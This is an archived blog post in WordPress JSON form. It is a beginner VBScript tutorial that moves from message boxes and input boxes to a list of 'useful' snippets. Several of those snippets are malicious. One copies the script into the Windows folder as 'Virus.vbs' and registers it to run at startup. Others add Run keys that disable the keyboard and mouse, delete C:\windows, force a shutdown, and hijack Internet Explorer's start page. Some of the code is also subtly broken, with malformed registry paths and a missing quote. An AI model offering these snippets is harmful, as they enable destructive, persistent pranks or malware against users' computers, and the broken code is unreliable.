{"id":589,"date":"2011-10-29T16:56:24","date_gmt":"2011-10-29T13:56:24","guid":{"rendered":"http:\/\/newage.ql.lt\/blog\/?p=589"},"modified":"2022-01-19T08:34:44","modified_gmt":"2022-01-19T06:34:44","slug":"basic-vbscript","status":"publish","type":"post","link":"https:\/\/9v.lt\/blog\/basic-vbscript\/","title":{"rendered":"Basic &#8220;VBScript&#8221;"},"content":{"rendered":"<p>Though it&#8217;s not VB \/ Net, it&#8217;s more a simpler version of VB. It is pretty handy if you want to start with something&#8230;<\/p>\n<p>This type of programming can easily be done in Notepad so you wont need to download a some sort of crap of software (though they can be handy for debugging)<br \/>\n<!--more--><br \/>\nNote: tutorial written by Huntondoom.<\/p>\n<p>So I am going to explain some code&#8217;s, what most things mean and hope you will use it to experiment, because it&#8217;s important to have a creative mind.<\/p>\n<p>If you want to see how your script works then just save it as &#8220;Name.vbs&#8221;<\/p>\n<p><strong>Let&#8217;s start very easy<\/strong>, with a Messagebox <\/p>\n<pre lang=\"vbscript\">msgbox \"insert text here\"<\/pre>\n<p>or<\/p>\n<pre lang=\"vbscript\">WScript.Echo \"lol\"<\/pre>\n<p>Easy as it is msgbox stands for messagebox (NOWAY :) and between the  &#8221; &#8221;  you put your text that will be shown or you can use WScript.Echo though I use msgbox this is also a way of showing your message.<br \/>\nP.S.: text will only be shown when it&#8217;s put between &#8220;&#8221; numbers will be show even without the &#8220;&#8221;.<\/p>\n<p><strong>The input<\/strong><\/p>\n<pre lang=\"vbscript\">inputbox(\"insert question\")<\/pre>\n<p>Insert your text in between  (&#8221; &#8220;) though you can insert your answer it is not being saved. If you want to save it under a string or variable then do this<\/p>\n<pre lang=\"vbscript\">Stringname=inputbox(\"Insert question\")<\/pre>\n<p>Now it is saved under &#8220;stringname&#8221; it doesn&#8217;t have to be stringname it could be anything random you want like blablablabla or wheeee <\/p>\n<p>If you want to show the string in a message you just simply do<\/p>\n<pre lang=\"vbscript\">msgbox stringname<\/pre>\n<p>If you would combine everything I just explained then you can get some thing like this<\/p>\n<pre lang=\"vbscript\">Answer=inputbox(\"What's your name?\")\r\nmsgbox \"damm who the hack call's it child \"&amp; answer<\/pre>\n<p>In theory you would see the entered name appear in the message<br \/>\nIf you want to expands this kind of thing like with a title or more strings shown in the message then<\/p>\n<pre lang=\"vbscript\">name=inputbox(\"...\") \r\ntime=inputbox(\"... \")\r\nname=name &amp; vbCRLf\r\nname = time &amp; \" \" &amp; name &amp; vbCRlF\r\nmsgbox \"\" &amp; name<\/pre>\n<p>The message box should look something like this:<\/p>\n<pre lang=\"vbscript\">name\r\ntime name<\/pre>\n<p>If you wouldn&#8217;t use the &#8221; &#8221; then string will be attach to each other.<br \/>\nNot sure what vbCRLf stand for, but i know that it acts as ENTER and will create a new sentence beneath it (if there in nothing under it, then It won&#8217;t be showed).<br \/>\nif you want to set a text between them you do it just like  the space &#8221; &#8221; but you just insert text there for numbers you don&#8217;t need &#8220;&#8221;.<\/p>\n<pre lang=\"vbscript\">name=inputbox(\"what's your name ? \",\"Evilzone\",\"no name\")\r\nif name = \"no name\" then\r\nmsgbox \"you didn't fill in, -.-'\",1024,\"Evilzone\"\r\nend if\r\nif name = \"huntondoom\" then\r\nmsgbox \"Your awesome\",1402,\"Evilzone\"\r\nend if<\/pre>\n<p>Has you can see there is something different with the inputbox and msgbox, the text of inputbox( and msgbox) consist of 3 section&#8217;s.<\/p>\n<p><strong>Inputbox:<\/strong><br \/>\n<em>&#8220;what&#8217;s your name?&#8221;,&#8221;Evilzone&#8221;,&#8221;no name&#8221;<\/em> the section look like something like this (it filled in what it does)<br \/>\n&#8220;Text show in the msgbox&#8221;,&#8221;Title of the message box&#8221;,&#8221;answer that is already filled in&#8221;<\/p>\n<p><em>&#8220;you didn&#8217;t fill in, -.-&#8216;&#8221;,1024,&#8221;Evilzone&#8221;<\/em> the section look like something like this (it filled in what it does)<br \/>\n&#8221; message&#8221;,&#8221; don&#8217;t know (that&#8217;s why the random number )&#8221;,&#8221;Title&#8221;<\/p>\n<p>Same goes here is it a number then you don&#8217;t need &#8220;&#8221; you also see a If part<\/p>\n<p>you start as If (duuuh)<br \/>\nthen the string or variable comes<br \/>\n<code>if Name = \"Huntondoom\"<\/code><\/p>\n<p>So if the insert string is Huntondoom equals what your are looking for <\/p>\n<pre lang=\"vbscript\">if stringname = \"want it has to be\"<\/pre>\n<p>This will open more possibility for you to do  message to things you ask that will so up what is insert and it can be more then just that. To complete this command then do:<\/p>\n<pre lang=\"vbscript\">if stringname = \"what it's supposed to be\" then\r\n(fill here you commands in here)\r\nend if<\/pre>\n<p>If you script need to be shutdown in the beginning in a if command then<br \/>\nthis next command will shutdown your script <\/p>\n<pre lang=\"vbscript\">Wscript.quit<\/pre>\n<p>It is recommended it that you use it at the end of you script<br \/>\nsome code&#8217;s can still be active and this shut&#8217;s it down<\/p>\n<p>now that was the basic<\/p>\n<p>now I will just give you some code&#8217;s and explain there function<\/p>\n<p>Creating a file:<\/p>\n<pre lang=\"vbscript\">Set fs = CreateObject(\"Scripting.FileSystemObject\") \r\nSet a = fs.CreateTextFile(\"C:textfilel.txt\") \r\na.WriteLine (\"insert your text here\")\r\na.WriteBlankLines 1<\/pre>\n<p>this create&#8217;s a file<br \/>\nthis case a *.txt file<br \/>\na stand for a variable that can be changed,<br \/>\nnotice that every variable has to be the same<br \/>\na.writeline is what will be put in your file<br \/>\nmultiple a.writeline will create more sentence, it works like pressing Enter<br \/>\na.WriteBlankLines 1 is to make a blank, depending on the value that is entered were 1 is it will create 1 or mulitple blanks lines<br \/>\nthis you can create batch file  with a script in this case it will create it&#8217;s own virus or script program <\/p>\n<p><strong>change Internet explorer&#8217;s name<\/strong><\/p>\n<pre lang=\"vbscript\">Set shl = CreateObject(\"Wscript.shell\") \r\nShl.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MainWindow Title\",\"page\"<\/pre>\n<p>as it said it will change internet explorer&#8217;s name<\/p>\n<p><strong>change internet explorer&#8217;s mainwindow<\/strong><\/p>\n<pre lang=\"vbscript\">Set shl = CreateObject(\"Wscript.shell\") \r\nShl.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MainStart Page\",\" www.evilzone.org\"<\/pre>\n<p>as it said it will change internet explorer&#8217;s main window<br \/>\nps: if the 2 code&#8217;s above don&#8217;t work then there is probability something wrong with the  \\  things (it&#8217;s in the wrong place)(or mises a few)<\/p>\n<p><strong>opening and closing CD-station&#8217;s<\/strong><\/p>\n<pre lang=\"vbscript\">Set oWMP = CreateObject(\"WMPlayer.OCX.7\" ) \r\nSet colCDROMs = oWMP.cdromCollection \r\nif colCDROMs.Count &gt;= 1 then \r\nFor i = 0 to colCDROMs.Count - 1 \r\ncolCDROMs.Item(i).Eject \r\nNext \r\nEnd If<\/pre>\n<p>it will count who many station&#8217;s there are and open and close them<br \/>\ndepending on the number insert in the green section&#8217;s<\/p>\n<p><strong>Create a Error sound:<\/strong><\/p>\n<pre lang=\"vbscript\">Set oWS = WScript.CreateObject(\"WScript.Shell\") \r\noWS.Run \"%comspec% \/c echo \" &amp; Chr(07), 0, True<\/pre>\n<p><strong>place file into start\/run<\/strong><\/p>\n<pre lang=\"vbscript\">Set Shl = CreateObject(\"Wscript.Shell\") \r\nSet fso = CreateObject(\"Scripting.FileSystemObject\") \r\nwinfolder = fso.GetSpecialFolder(0) \r\nSet vbsfile = fso.GetFile(WScript.ScriptFullName) \r\nvbsfile.Copy winfolder &amp; \"Virus.vbs\" \r\nShl.RegWrite \"HKEY_LOCAL_MACHINE\/Software\/Microsoft\/Windows\/CurrentVersion\/RunStart menu\",winfolder &amp; \"Name.vbs\"<\/pre>\n<p>it will send your virus to a other folder<\/p>\n<p><strong>shutdown keyboard:<\/strong><\/p>\n<pre lang=\"vbscript\">Set shl = CreateObject(\"Wscript.shell\") \r\nShl.RegWrite \"HKEY_LOCAL_MACHINE\/Software\/Microsoft\/Windows\/CurrentVersion\/Run\/DisableKeyboard\", \"Rundll32.exe Keyboard,Disable<\/pre>\n<p><strong>shutdown mouse:<\/strong><\/p>\n<pre lang=\"vbscript\">Set shl = CreateObject(\"Wscript.shell\") \r\nShl.RegWrite \"HKEY_LOCAL_MACHINE\/Software\/Microsof\/tWindows\/CurrentVersion\/Run\/DisableMouse\", \"Rundll32.exe Mouse,Disable\"<\/pre>\n<p><strong>delete a folder:<\/strong><\/p>\n<pre lang=\"vbscript\">Set fso = CreateObject(\"Scripting.FileSystemObject\")\r\nSet aFolder = fso.GetFolder(\"C:\\windows\")\r\naFolder.Delete<\/pre>\n<p>(do not try this exact code on your computer)<\/p>\n<pre lang=\"vbscript\"><strong>let the script wait a phew moments:<\/strong>\r\nWScript.Sleep 400<\/pre>\n<p>the number will show how long it will wait<br \/>\nbut it count&#8217;s really fast 400 is not so long waiting<\/p>\n<p><strong>send a text, like if somebody type something:<\/strong><br \/>\n(you don&#8217;t see it being typed put it just put your text there)<\/p>\n<pre lang=\"vbscript\">WshShell.SendKeys \" Evilzone FTW\"<\/pre>\n<p><strong>shutdown computer:<\/strong><\/p>\n<pre lang=\"vbscript\">Set OpSysSet = GetObject(\"winmgmts:{(Shutdown)}\/\/.\/root\/cimv2\").ExecQuery(\"\r\nselect * from Win32_OperatingSystem where Primary=true\")\r\nfor each OpSys in OpSysSet\r\nOpSys.ShutDown()\r\nnext<\/pre>\n<p><strong>open notepad and write a text:<\/strong><\/p>\n<pre lang=\"vbscript\">Set WshShell = WScript.CreateObject (\"WScript.Shell\")\r\nWshShell.Run (\"notepad.exe\")\r\nWScript.Sleep 100\r\nWshShell.SendKeys \"hey go to www.evilzone.org\"<\/pre>\n<p>P.S.: the first 2 line are for running a program<br \/>\nwhere notepad is located you either fill in the path of the file<br \/>\nor you just inserted a file that is known by the computer like notepad.<\/p>\n<p><strong>Change personal message in MSN:<\/strong><\/p>\n<pre lang=\"vbscript\">Public WithEvents msn As MessengerAPI.Messenger\r\nPrivate Sub Form_Load()\r\nSet msn = New MessengerAPI.Messenger\r\nEnd Sub\r\nPrivate Sub Timer1_Timer()\r\nmsn.OptionsPages 0, MOPT_GENERAL_PAGE\r\nPause 0.5\r\nSendKeys \" I love Evilzone \"\r\nPause 0.5\r\nSendKeys \"{ENTER}\"\r\nSendKeys \"{ENTER}\"\r\nMe.Show\r\nEnd Sub\r\nSub Pause(interval)\r\nCurrent = Timer\r\nDo While Timer - Current &lt; Val(interval)\r\nDoEvents\r\nLoop\r\nEnd Sub<\/pre>\n<p><strong>change the name of a file, can also move it:<\/strong><\/p>\n<pre lang=\"vbscript\">Set objFSO = CreateObject(\"Scripting.FileSystemObject\")\r\nobjFSO.MoveFile \"C:\\FSO\\Vrius.vbs\" , \"C:\\FSO\\setup.dll\"<\/pre>\n<p><strong>variable loop:<\/strong><\/p>\n<pre lang=\"vbscript\">for I=0 to 5\r\nSet oWS = WScript.CreateObject(\"WScript.Shell\") \r\noWS.Run \"%comspec% \/c echo \" &amp; Chr(07), 0, True\r\nnext\r\nwscript.quit<\/pre>\n<p>I  is the variable that could be anything (it&#8217;s usaly handy to hold on to a standaard)<br \/>\n0 is the beginning point<br \/>\n5 is the end point<\/p>\n<p>a variable loop end with next<\/p>\n<p>it is possible to do a double variable loop<\/p>\n<p>it mostly used to check something after some time like this:<\/p>\n<pre lang=\"vbscript\">a=0\r\nfor I=0 to 10\r\nif a=10 then\r\nSet oWS = WScript.CreateObject(\"WScript.Shell\") \r\noWS.Run \"%comspec% \/c echo \" &amp; Chr(07), 0, True\r\nend if\r\nif a=20 then\r\nSet oWS = WScript.CreateObject(\"WScript.Shell\") \r\noWS.Run \"%comspec% \/c echo \" &amp; Chr(07), 0, True\r\nwscript.quit\r\nend if\r\nfor J=0 to 2 \r\na=a+1\r\nnext\r\nnext<\/pre>\n<p>if everything works like planned it will create check what a is every 2 times so it wil check what a is on 2 4 6 8 10 12 14 16 18 20<br \/>\nevery time it hits 10 &amp; 20 it will make a sound<br \/>\nevery time it hits 20 it will shutdown the script<\/p>\n<p>i may not be the best way to do it but it is an example<\/p>\n<p>if you have a comment, thing you want to add , etc etc etc<br \/>\nplease tell me<\/p>\n<p>use these things to create programs that you just though of<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Though it&#8217;s not VB \/ Net, it&#8217;s more a simpler version of VB. It is<\/p>\n","protected":false},"author":2,"featured_media":1720,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,5],"tags":[416,144,417,102,414,415],"class_list":["post-589","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-eng","category-my-tutos","tag-basic","tag-script","tag-scripting","tag-vb","tag-vbscript","tag-visual"],"_links":{"self":[{"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/posts\/589","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/comments?post=589"}],"version-history":[{"count":0,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/posts\/589\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/media\/1720"}],"wp:attachment":[{"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/media?parent=589"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/categories?post=589"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/tags?post=589"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}